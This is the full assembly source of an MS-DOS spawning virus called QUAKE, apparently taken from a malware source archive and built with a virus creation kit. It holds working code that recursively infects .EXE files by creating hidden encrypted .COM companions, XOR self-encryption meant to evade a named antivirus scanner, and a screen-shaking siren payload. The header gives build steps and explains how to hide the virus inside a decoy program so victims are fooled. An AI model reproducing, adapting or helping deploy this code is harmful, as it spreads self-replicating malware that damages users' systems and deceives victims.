MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vclquake.asm
2021-01-12 18:04:54 -06:00

715 lines
30 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

; -----------------------------------------------------------------------------
; QUAKE.ASM
; Created with Nowhere Man's Virus Creation Laboratory v1.00
;
; Heavily modified VCL and Original Code by the best Bleeding Edge virus
; writer: Night Breeze. See you all in fuckin' HELL!
;
; This is a "spawning" virus and, technically, a trojan horse. First time it
; is run, it will do the earthquake thing - but only after infecting another
; file first! When the infected file is executed (in it's directory) then it
; will infect another file and run the app. Then, when all files on that drive
; are infected, it will again do the earthquake thing!
;
; Build instructions:
;
; Assemble QUAKE.ASM to QUAKE.COM
; d:\tasm\tasm /mx /m2 /q /t quake
; link quake;
; exe2bin quake.exe quake.com
;
; Run QUAKE.COM and file the infected file...<g>
; Find file
; ATTRIB *.COM -r -h
;
; Get a copy of that file as it is encrypted...
; COPY filename.COM \mydir\TEMP.COM
;
; Compile QINJECT.PAS
;
; Cat the two files:
; COPY /b TEMP.COM+QINJECT.EXE QUAKE.EXE (i know, overwrites)
;
; Now, QINJECT actually as the same strings (most) as QUAKE.COM, so if the
; user types or debugs the program, will see the strings. The REAL virus
; is hidden, and encrypted, at the start of QUAKE.EXE (it's really a com file).
;
; NOTE: The flag SHOW_FLAG is used to allow an intial infection, then to all
; the victim to see an apparently good program - although he is getting
; fucked :)
;
;
; If all that was too hard... just distribute the enclosed EARTH.EXE program:)
;
; -----------------------------------------------------------------------------
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
; -----------------------------------------------------------------------------
main proc near
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
inc Show_Flag ; Inc infect count
mov si, offset spawn_name ; Save a copy of the
mov di, offset save_name ; file to "spawn"
cld
mov cx, 14 ; It's allways 14 bytes
rep movsb
call search_files ; Find and infect a file
mov al,byte ptr [set_carry] ; AX holds ALL INFECTED value
cmp al, 0 ; Have we infected all files?
jz Effect ; If so, then do it!
cmp Show_Flag,3 ; Should we show display?
jl Effect
jmp short end00
Effect:
call EarthQuake ; Let's do it!
jmp short Finito ; And don't run app!
end00:
mov ah,04Ah ; DOS resize memory function
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
int 021h
mov sp,(finish - start) + 01100h ; Change top of stack
mov si,offset save_name ; SI points to true filename
int 02Eh ; DOS execution back-door
Finito:
mov ah,04Ch ; DOS terminate function
int 021h
main endp
; -----------------------------------------------------------------------------
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
mov dx,offset root ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
; -----------------------------------------------------------------------------
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
mov dx,offset up_dir ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
exe_mask db "*.EXE",0 ; Mask for all .EXE files
traverse endp
; -----------------------------------------------------------------------------
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx, 00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
; -----------------------------------------------------------------------------
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov di,bx ; DI points to the DTA
lea si,[di + 01Eh] ; SI points to file name
mov dx,si ; DX points to file name, too
mov di,offset spawn_name + 1; DI points to new name
xor ah,ah ; AH holds character count
transfer_loop: lodsb ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the loop
inc ah ; Add one to the character count
stosb ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the loop
transfer_end:
mov byte ptr [spawn_name],ah; First byte holds char. count
mov byte ptr [di],13 ; Make CR the final character
mov di,dx ; DI points to file name
xor ch,ch ;
mov cl,ah ; CX holds length of filename
mov al,'.' ; AL holds char. to search for
repne scasb ; Search for a dot in the name
mov word ptr [di],'OC' ; Store "CO" as first two bytes
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
mov byte ptr [set_carry],0 ; Assume we'll fail
mov ax,03D00h ; DOS open file function, r/o
int 021h
jnc infection_done ; File already exists, so leave
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ah,03Ch ; DOS create file function
mov cx, 00100011b ; CX holds file attributes
int 021h
xchg bx,ax ; BX holds file handle
call encrypt_code ; Write an encrypted copy
mov ah,03Eh ; DOS close file function
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
; -----------------------------------------------------------------------------
spawn_name db 0, 12 dup (?),13 ; Name for next spawn
save_name db 0, 12 dup (?),13 ; Name for current spawn
show_flag db 0 ; When 0 & 1 then show display
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
; =============================================================================
EarthQuake proc near
call InitCrt ; Initialize the vars
call DrawFrame ; Draw a frame in middle of screen
mov cx, 2 ; Make some noise
call Siren
mov si, OFFSET Warning ; Put Msg 1
mov dx,0718h ; Move to Row 8, column 20
call WriteStr
mov cx, 1
call Siren
mov si, OFFSET ToHills ; Put Msg 2
mov dx,0A16h ; Move to Row 10, column 18
call WriteStr
mov cx, 2 ; More noise
call Siren
call Shake ; Shake the screen - it's a quake!
call DrawFrame ; Draw a frame in middle of screen
mov si, OFFSET MadeIt ; Put Made It Msg
mov dx,081Fh
call WriteStr
cmp Show_Flag, 3
jl EarthDone
mov si, OFFSET BurmaShave ; Put Logo
mov dx,0C36h
call WriteStr
EarthDone:
ret
EarthQuake endp
Warning db '* * * Earthquake Warning! * * *', 0
ToHills db 'Head for the hills! Take cover!!!', 0
MadeIt db 'Whew! We Made It!', 0
BurmaShave db '-=[VCL/BEv]=-', 0
Table struc ; Structure of the Shaker Table
Iters db 0 ; Number of interations (quakes)
Cols db 0 ; Scroll number of columns
Pause dw 0 ; And then wait this much time
Table ends
QuakeTable Table < 3, 1, 500>
Table < 4, 2, 250>
Table < 5, 3, 175>
Table < 6, 4, 100>
Table <10, 5, 30>
Table <20, 5, 10>
Table <10, 5, 30>
Table < 5, 4, 100>
Table < 4, 3, 175>
Table < 3, 2, 250>
Table < 2, 1, 500>
Table < 0, 0, 0> ; End of data
; -----------------------------------------------------------------------------
Shake proc near
mov si, OFFSET QuakeTable ; Get pointer to table
xor cx,cx
ShakeNext:
mov cl, [si].Iters
jcxz ShakeDone
ShakeInner:
push cx ; Save for later
push si ; ditto
xor ax,ax ; duh...
mov al, [si].Cols ; Number of columns to scroll
push ax ; Get Ready
call ScrollRight ; Go...Scroll Screen to right
pop si ; Restore it
cmp [si].Cols, 3 ; Check if we are scrolling more than 3
jle ShakeCont1 ; If less or equal then skip vert scroll
mov ah, 6 ; Scroll up 1 line
call Scroll ; Do it.
ShakeCont1:
mov cx, [si].Pause ; delay period
call Delay ; Wait around a bit
push si ; And save our table index for l8r
xor ax,ax ; duh...
mov al, [si].Cols ; Number of columns to scroll
push ax ; Get Ready...Set...
call ScrollLeft ; Go! ... Scroll screen left
pop si ; And restore our table index
cmp [si].Cols, 3 ; Check if we are scrolling more than 3
jle ShakeCont2 ; If less or equal then skip vert scroll
mov ah, 7 ; Scroll up 1 line
call Scroll ; Do it.
ShakeCont2:
mov cx, [si].Pause ; pause again
call Delay ; Do it.
pop cx ; Get back our iteration counter
Loop ShakeInner ; Keep going
add si, 4 ; Move to next table element
jmp short ShakeNext ; Keep on doing it...
ShakeDone:
ret
Shake endp
; -----------------------------------------------------------------------------
; in: cx = number of times to do the siren
Siren proc near
KeepGoing:
push cx ; Save the count
mov ax, 880 ; Freq
mov bx, 500 ; Duration = 1/2 second
push ax ; Put Freq on stack
push bx ; Put Duration on stack
call Beep ; Make a noise
mov ax, 660 ; Freq
mov bx, 500 ; Duration = 1/5 second
push ax ; Put Freq on stack
push bx ; Put Duration on stack
call Beep ; Make more noise
pop cx ; Restore the count
loop KeepGoing ; So we can keep going
ret
Siren endp
; -----------------------------------------------------------------------------
; ds:si points to the null terminated string to print
; dx has row/col - dh=row
WriteStr proc near
mov bh,0 ; We'll be working on page 0
WriteMore:
mov al,[si] ; get the next character to print
cmp al, 0 ; done yet?
jz WriteDone ; Yep, so quit
inc si ; si++
mov ah,2 ; locate cursor at dx
int 10h ; do it
push cx ; save it for later
mov cx,1 ; count of characters to write!
mov ah,10 ; subfunction 10
int 10h ; call bios to do our dirty work
pop cx ; get it back
inc dx ; move to next cursor position
jmp short WriteMore ; keep going for cx
WriteDone:
ret
WriteStr endp
; -----------------------------------------------------------------------------
DrawFrame proc near
push bp ; Work around a stoopid bug in PC/XTs
mov ax, 0600h ; Draw and clear the outer frame
push ax ; Save for later
mov cx, 050Ah ; Upper screen coords: CH = ROW
mov dx, 0D46h ; Lower bounds, DH = ROW
mov bh, 70h ; Color is White Background, Black fore
int 10h ; Do It.
pop ax ; Draw and clear the inner frame
mov cx, 060Ch ; Upper screen coords: CH = ROW
mov dx, 0C44h ; Lower bounds, DH = ROW
mov bh, 0Eh ; Color is Black Background, Yellow fore
int 10h ; Do It Again
pop bp ; End of stoopid fix
ret
DrawFrame endp
; =============================================================================
ScrollRight proc near
push bp
mov bp, sp
mov ax, [bp+4] ; calc ColsToMove <- LEN shl 1
shl ax, 1 ; multiply by 2
mov ColsToMove, ax ; And save it
mov bx, NumCols ; calc WordsToScroll <- NumCols - LEN
sub bx, ax ; adjust for scroll difference
inc bx ; BX = WordsToScroll
mov ax, VidSegment ; Put ES = Video Segment
mov es, ax
xor ax, ax ; Start on row 0 aka 1
sr_NextRow:
push ax ; Save for later
mul LineWidth ; AX now has ROW * LineWidth
push ax ; Save start of row offset for printing
add ax, LineWidth ; AX points to last byte of the row
sub ax, ColsToMove ; This moves back 1 LEN of ch/attr pairs
mov di, ax ; save in DEST
sub ax, ColsToMove ; AX now moves back another LEN pairs
mov si, ax ; save in SOURCE
mov cx, bx ; BX = Words to Scroll
push ds ; Stash this
push es ; Make DS = ES
pop ds ; Like this
std ; Set SI and DI to decrement
rep movsw
pop ds ; Get the DS back
pop di ; Grab the Source Offset we saved above
mov cx, [bp+4] ; Prepare to print LEN blanks
call PrintBlank
pop ax ; Saved row
inc ax ; Move to next row
cmp ax, 25 ; Done with all rows?
jne sr_NextRow ; No? Then do next row!
mov sp, bp
pop bp
ret 2
ScrollRight endp
; -----------------------------------------------------------------------------
ScrollLeft proc near
push bp
mov bp, sp
mov ax, [bp+4] ; calc ColsToMove := Len Shl 1
shl ax, 1
mov ColsToMove, ax
mov bx, NumCols ; calc WordsToScroll := pred(NumCols) shl 1
mov ax, VidSegment ; Make ES point to the video segment
mov es, ax
mov es, ax
xor ax, ax ; Start on row 0 aka 1
sl_NextRow:
push ax ; Save Row for later
mul LineWidth ; calc AX := Row * LineWidth
push ax ; Save Start of Line
mov di, ax ; This is where it's going
add ax, ColsToMove ; calc AX := AX + ColsToMove
mov si, ax ; This will be our source
push ds ; Stash for later ...
push es ; Make DS = ES = Video Segment
pop ds
mov cx, bx ; BX = Words To Scroll
cld ; Set SI and DI to decrement
rep movsw
pop ds ; Get our DS back...
pop di ; Grab the Source Offset we saved
add di, LineWidth
sub di, colsToMove
mov cx, [bp+4] ; Prepare to print some blanks
call PrintBlank ; Do It
pop ax ; Get back out row value
inc ax ; And move to next row
cmp ax, 25 ; first check if we are done
jne sl_NextRow ; If now, then do next row
mov sp, bp
pop bp
ret 2
ScrollLeft endp
; -----------------------------------------------------------------------------
; In AH = 6 scroll up
; = 7 scroll down
Scroll proc near
mov al, 1 ; We will always scroll 1 line
xor cx, cx ; Set Top Row/Col to (0,0)
mov dx, 184Fh ; Set Bottom Row/Col to (24,79)
mov bh, 07h ; Use a normal blank
push bp ; Work around a lame bug on PC/XTs
int 10h ; Do Bios...Oh Do Me Now
pop bp ; And continue fixing that st00pid bug
ret ; I really feel sill doc'g this routine...
Scroll endp
; -----------------------------------------------------------------------------
PrintBlank proc near
; In ES - Video Segment
; DI - Offset to print blank at
; CX - Number of blanks to print
cld ; store forward (increment DI)
mov al,' ' ; We want to print a blank
PrintAgain:
stosb ; put in one blank char
inc di ; skip video attribute
loop short PrintAgain
ret
PrintBlank endp
; -----------------------------------------------------------------------------
; All the routines dealing with Sound and Delays - especially the delay
; calibration routine were mostly stolen from Kim Kokkonen's code in earlier
; version of Turbo Professional. KK is the owner of Turbo Power - a damn good
; set of programming tools - plug plug!
; Beep(Hz, MS:Word); assembler;
Beep proc near
push bp
mov bp, sp
mov bx, [bp+6] ; hertz
mov AX,34DDH
mov DX,0012H
cmp DX,BX
jnc beepStop
div BX
mov BX,AX ; Lots of port tweaking... Isn't
in AL,61H ; this shit fun???
test AL,3
jnz @99
or AL,3
out 61H,AL
mov AL,0B6H
out 43H,AL
@99:
mov AL,BL ; I know I never get bored.!!
out 42H,AL
mov AL,BH
out 42H,AL
BeepStop:
mov CX, [bp+4] ; push ms delay time
call Delay ; and wait...
IN AL, 61h ; Now turn off the speaker
AND AL, 0FCh
out 061h, AL
mov sp, bp
pop bp
ret 4
Beep endp
; -----------------------------------------------------------------------------
; In: cx = delay in ms
Delay proc near
delay1: ; What's to say... a tight loop
call delayOneMS ; counting milliseconds
loop short delay1
ret
Delay endp
; =============================================================================
DelayOneMS proc near
push cx ; Save CX
mov cx, OneMS ; Loop count into CX
DelayOne1:
loop delayOne1 ; Wait one millisecond
pop cx ; Restore CX
ret
DelayOneMs endp
; -----------------------------------------------------------------------------
Calibrate_Delay proc near
mov ax,40h
mov es,ax
mov di,6Ch ; ES:DI is the low word of BIOS timer count
mov OneMS, 55 ; Initial value for One MS's time
xor dx,dx ; DX = 0
mov ax,es:[di] ; AX = low word of timer
CalKeepOn:
cmp ax,es:[di] ; Keep looking at low word of timer
je CalKeepOn ; until its value changes...
mov ax,es:[di] ; ...then save it
CalDoMore:
call DelayOneMs ; Delay for a count of OneMS (55)
inc dx ; Increment loop counter
cmp ax,es:[di] ; Keep looping until the low word...
je CalDoMore ; ...of the timer count changes again
mov OneMS, dx ; DX has new OneMS }
ret
Calibrate_Delay endp
; -----------------------------------------------------------------------------
InitCrt proc near
mov ah,15 ; Get Video Mode
int 10h
cmp al, 7 ; Check if this is monochrome
je DoneInit
add VidSegment, 800h
DoneInit:
mov byte ptr NumCols, ah ; Set the number of Character Cols
shl ah, 1 ; Mult by two for number of vid bytes
mov byte ptr LineWidth, ah ; And stash it...
ToneInit:
call Calibrate_Delay
ret
InitCrt endp
; =============================================================================
VidSegment dw 0B000h ; Base Video Segment
NumCols dw ? ; Columns on Screen
LineWidth dw ? ; NumCols * 2
ColsToMove dw ? ; Number of video bytes to move each time
OneMS dw ? ; Calibration value for 1 ms of time
; =============================================================================
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
; -----------------------------------------------------------------------------
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
nop ; Defeat SCAN 95B
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main